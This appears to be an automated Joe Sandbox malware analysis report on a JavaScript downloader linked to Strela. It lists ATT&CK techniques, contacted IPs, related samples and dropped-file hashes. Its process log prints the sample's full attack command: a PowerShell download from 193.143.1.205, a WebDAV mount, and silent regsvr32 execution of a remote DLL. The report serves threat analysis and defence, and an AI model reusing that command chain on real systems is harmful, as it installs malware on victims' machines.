Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1712226379134618467.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/sce	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/_	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/k	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
x1.i.lencr.org	unknown	unknown	false	high
time.windows.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.1412998349.0000024237070000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2633693918.0000024237200000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/k	net.exe, 00000007.00000003.1414034783.000001E26C239000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1415403319.000001E26C239000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1415403319.000001E26C239000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/sce	net.exe, 00000007.00000002.1415351087.000001E26C208000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/_	net.exe, 00000007.00000003.1414034783.000001E26C239000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1415403319.000001E26C239000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587566
Start date and time:	2025-01-10 15:00:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1712226379134618467.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.101.57.9, 2.23.240.205, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 199.232.214.172, 2.16.168.107, 2.16.168.105, 2.22.242.11, 2.22.242.123, 13.107.246.45, 54.224.241.105, 4.175.87.197, 104.126.112.182, 4.245.163.56
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.afd.azureedge.net, twc.trafficmanager.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, dns.msftncsi.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, azureedge-t-prod.trafficmanager.net, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
09:01:20	API Interceptor	23x Sleep call for process: powershell.exe modified
09:01:24	API Interceptor	1x Sleep call for process: net.exe modified
09:01:24	API Interceptor	2x Sleep call for process: svchost.exe modified
09:01:33	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1136121895118314851.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7401990642713807.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	705722057165658523.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	382215884163542302.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	571464521086425926.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18607323151113325657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2503475573085815370.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17772451271118687.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1353125634235611874.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	289215992948720779.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	https://sign.zoho.com/zsguest?locale=en&sign_id=234b4d535f4956237c699124bb06f6840075804affff79070f72fbd27ec4885c3a2ba06657b8a52338eb80052baee9f74c4e2e0e7f85c073df939f1ac4dff75f76c95d46ac2361c7b14335e4f12c5c5d49c49b1d2f4c838a&action_type=SIGN	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://www.filemail.com/d/rxythqchkhluipl?skipreg=true	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://eu.jotform.com/app/250092704521347	Get hash	malicious	Unknown	Browse	13.107.246.45
	http://loginmicrosoftonline.Bdo.scoremasters.gr/cache/cdn?email=christian.wernli@bdo.ch	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://app.planable.io/review/0OPaw36t6M_k	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	PDFONLINE.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	OTTIMAX RFQ BID1122263.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.45
	PDFONLINE.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	Quarantined Messages(3).zip	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	PortugalForum_nopump.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
bg.microsoft.map.fastly.net	7401990642713807.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	A5815BC0-FA26-4ECC-9A97-EE9DB31273CA_12272024154104847.dll	Get hash	malicious	Unknown	Browse	199.232.210.172
	382215884163542302.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2503475573085815370.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	17772451271118687.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1353125634235611874.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	10848104561916132198.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	67073968285385405.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3144522639186114061.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1136121895118314851.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7401990642713807.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	705722057165658523.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18474255912080825433.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	382215884163542302.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	571464521086425926.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18607323151113325657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2503475573085815370.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27311161302332319656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17772451271118687.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7067035162896871
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6VqT:2JIB/wUKUKQncEmYRTwh0P
MD5:	6CD33A4BAC6FA27EE24FAC1FAF006841
SHA1:	9DCA0C8A0C44769126E3704586FECB5482EBEB1D
SHA-256:	0C0948ABACEFB83DF4170331950063286D69AC74D5AFB1425F9F08B68A324974
SHA-512:	D67B033BAB37CFF99D1A965FF8D53D8CFD0A53943F069EA7FDA18915A8B470378A174FC97FFA34D498B37C7BAC4652218CD5F52CA8FE128C3FA58DF9C1308F09
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xe5f5bf1d, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.789999761774545
Encrypted:	false
SSDEEP:	1536:zSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:zazaPvgurTd42UgSii
MD5:	1995054D5E92096EECFCE64AAEC5949E
SHA1:	AC27390E84C13799AC22C5AE867BF8E9372243A1
SHA-256:	DEA812345775E70A1CC6B3555C43BCEF77A8709ECD07E974387E02934DB07903
SHA-512:	232BBDB0B70027938319AB4BF47CB00DC4E55FFD0121226AF61B6E4FAB413FB791E1AA502D0575CC4F186F102FC005C65B031C8A38BCCB7FD6C0E1CB0A49574B
Malicious:	false
Preview:	....... ...............X\...;...{......................0.`.....42...{5......}?.h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{...................................J.......}]..................W.<.....}?..........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08158470101897744
Encrypted:	false
SSDEEP:	3:VTmXEYeKi83Lt/57Dek3JZDi838llEqW3l/TjzzQ/t:FmXEzg5R3tZDZ0md8/
MD5:	3F2A713E34268C61AF6C34C14CC06303
SHA1:	CBFCA5F87EA1E104865A9A1FC39E40902A229CA0
SHA-256:	20320A63D9B8E624D6CD5CC879C9AA9593D704238C84E073BE1F4F24E3C2F439
SHA-512:	643C6B12C4390303182BAACEF911E72C08C6953D83B3940C7A7C3180C8374E6A0157C40DE0F78171A279B3B58963BF75F523914B7C0BA0F92D7C080A72B0D18E
Malicious:	false
Preview:	iq9G.....................................;...{.......}?.42...{5.........42...{5.42...{5...Y.42...{59.................W.<.....}?.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	297
Entropy (8bit):	5.159458524741717
Encrypted:	false
SSDEEP:	6:iO4ofZcQTq2PcNwi2nKuAl9OmbnIFUtSofZcS8FZmwsofZcHGLzkwOcNwi2nKuAR:7vRcQTvLZHAahFUtRRchF/7Rckz54ZHi
MD5:	445C8D0CC7E3751A5141F7A88C211169
SHA1:	1937DD525ACEDEA5A954AF77B6718B814806A0EA
SHA-256:	5E34769B2F5F0C4687F29825B4330BC9D52245F264F9EAD45187DA12B63D726E
SHA-512:	03564F4FF9759A6FB4A8C85E9039226B2F627BEC999C4B9DD8B04433A910DF71BA343F7D0711F02A7802523F59ED61CBCBEE9C0AB26EEA66F0FD3B7092F57D2F
Malicious:	false
Preview:	2025/01/10-09:01:24.505 cf0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-09:01:24.507 cf0 Recovering log #3.2025/01/10-09:01:24.508 cf0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	297
Entropy (8bit):	5.159458524741717
Encrypted:	false
SSDEEP:	6:iO4ofZcQTq2PcNwi2nKuAl9OmbnIFUtSofZcS8FZmwsofZcHGLzkwOcNwi2nKuAR:7vRcQTvLZHAahFUtRRchF/7Rckz54ZHi
MD5:	445C8D0CC7E3751A5141F7A88C211169
SHA1:	1937DD525ACEDEA5A954AF77B6718B814806A0EA
SHA-256:	5E34769B2F5F0C4687F29825B4330BC9D52245F264F9EAD45187DA12B63D726E
SHA-512:	03564F4FF9759A6FB4A8C85E9039226B2F627BEC999C4B9DD8B04433A910DF71BA343F7D0711F02A7802523F59ED61CBCBEE9C0AB26EEA66F0FD3B7092F57D2F
Malicious:	false
Preview:	2025/01/10-09:01:24.505 cf0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-09:01:24.507 cf0 Recovering log #3.2025/01/10-09:01:24.508 cf0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	341
Entropy (8bit):	5.183313426221513
Encrypted:	false
SSDEEP:	6:iO4ofZUQIQ+q2PcNwi2nKuAl9Ombzo2jMGIFUtSofZ0wgZmwsofZ0wQVkwOcNwiV:7vRUQQvLZHAa8uFUtRR0Z/7R0z54ZHAv
MD5:	F71CFC64CAB9C4E0F1E776A0C54E3C90
SHA1:	EA0EB92749BADBA2EBC498A25B2AFB948D0FEC69
SHA-256:	26862F3043A8A8FA3E3BABA5C6D72ADC36AC9CFFA1A28427FDE14D67358775EF
SHA-512:	696157CE41BCDB5D04406FA861C5FDA7D3D57166617656985E422ED4F2070C769072708D6945538E978E4D49D78F74985F6A057A9FCF0B9B71561DF35FFE39A7
Malicious:	false
Preview:	2025/01/10-09:01:24.585 288 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-09:01:24.591 288 Recovering log #3.2025/01/10-09:01:24.591 288 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	341
Entropy (8bit):	5.183313426221513
Encrypted:	false
SSDEEP:	6:iO4ofZUQIQ+q2PcNwi2nKuAl9Ombzo2jMGIFUtSofZ0wgZmwsofZ0wQVkwOcNwiV:7vRUQQvLZHAa8uFUtRR0Z/7R0z54ZHAv
MD5:	F71CFC64CAB9C4E0F1E776A0C54E3C90
SHA1:	EA0EB92749BADBA2EBC498A25B2AFB948D0FEC69
SHA-256:	26862F3043A8A8FA3E3BABA5C6D72ADC36AC9CFFA1A28427FDE14D67358775EF
SHA-512:	696157CE41BCDB5D04406FA861C5FDA7D3D57166617656985E422ED4F2070C769072708D6945538E978E4D49D78F74985F6A057A9FCF0B9B71561DF35FFE39A7
Malicious:	false
Preview:	2025/01/10-09:01:24.585 288 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-09:01:24.591 288 Recovering log #3.2025/01/10-09:01:24.591 288 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\946259f2-07c4-447d-9265-17a38dd98d72.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.972171568426087
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq7TDsBdOg2H8Acaq3QYiubSpDyP7E4T3y:Y2sRds+EdMH8r3QYhbSpDa7nby
MD5:	6134DE0C60707815BC5BCE7BB22CDE38
SHA1:	2B950D8DD38DE9D9DEA5BEE569C237824A35AEC1
SHA-256:	64102F499217DD3BAD0F18AD453E8B3C5180ED433BDC8B2029B350EAC9B3461C
SHA-512:	60FDD0FEBDE860DC8033C747BEA7EB3B1D8302E059EB77CC66A053E917291C8A59431BA407F1D13FBD651264BAEDFC2B412EA78881AD27B6464F40CEAE2C5A6F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381077696230847","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":126183},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF44bae8.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e67206db-db55-4ea6-bc44-5beaf1a7f27d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.234127838500252
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPIf76hA:CwNw1GHqPySfkcigoO3h28ytPI7EA
MD5:	8BF2380C79FA2D02B57E40CF3C0EADBB
SHA1:	650F444108F5CAA92D5EE13B218C112685A39E73
SHA-256:	B4B1D7B11B6D4EC204AAF30740205A49F1F8FA389D4910768A32B52EE586B708
SHA-512:	C02769DD586BDBEFFB0BCBF2FF0967D82BF579261A2105C369453DDB0C5962925BD30029139E6C40D6742099F59C36F0C3D68A68C2E810AA2D2F68A053E3214C
Malicious:	false
